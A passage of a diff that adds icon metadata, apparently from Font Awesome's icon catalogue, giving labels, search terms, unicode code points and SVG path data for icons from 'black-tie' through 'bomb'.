21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z" + } + }, + "free": [ + "brands" + ] + }, + "black-tie": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f27e", + "label": "Font Awesome Black Tie", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860969, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z" + } + }, + "free": [ + "brands" + ] + }, + "blackberry": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f37b", + "label": "BlackBerry", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860969, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z" + } + }, + "free": [ + "brands" + ] + }, + "blender": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "cocktail", + "milkshake", + "mixer", + "puree", + "smoothie" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f517", + "label": "Blender", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635344, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z" + } + }, + "free": [ + "solid" + ] + }, + "blender-phone": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "appliance", + "cocktail", + "communication", + "fantasy", + "milkshake", + "mixer", + "puree", + "silly", + "smoothie" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6b6", + "label": "Blender Phone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635343, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "blind": { + "changes": [ + "4.6", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cane", + "disability", + "person", + "sight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f29d", + "label": "Blind", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635344, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z" + } + }, + "free": [ + "solid" + ] + }, + "blog": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "journal", + "log", + "online", + "personal", + "post", + "web 2.0", + "wordpress", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f781", + "label": "Blog", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635345, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z" + } + }, + "free": [ + "solid" + ] + }, + "blogger": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f37c", + "label": "Blogger", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860969, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z" + } + }, + "free": [ + "brands" + ] + }, + "blogger-b": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f37d", + "label": "Blogger B", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860969, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z" + } + }, + "free": [ + "brands" + ] + }, + "bluetooth": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f293", + "label": "Bluetooth", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860970, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z" + } + }, + "free": [ + "brands" + ] + }, + "bluetooth-b": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f294", + "label": "Bluetooth", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860970, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z" + } + }, + "free": [ + "brands" + ] + }, + "bold": { + "changes": [ + "1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "emphasis", + "format", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f032", + "label": "bold", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635345, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z" + } + }, + "free": [ + "solid" + ] + }, + "bolt": { + "changes": [ + "2", + "5.0.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "electricity", + "lightning", + "weather", + "zap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0e7", + "label": "Lightning Bolt", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635345, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z" + } + }, + "free": [ + "solid" + ] + }, + "bomb": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "error", + "explode", + "fuse", + "grenade", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e2", + "label": "Bomb", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635346, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M440.5 88.5l-52 52L415 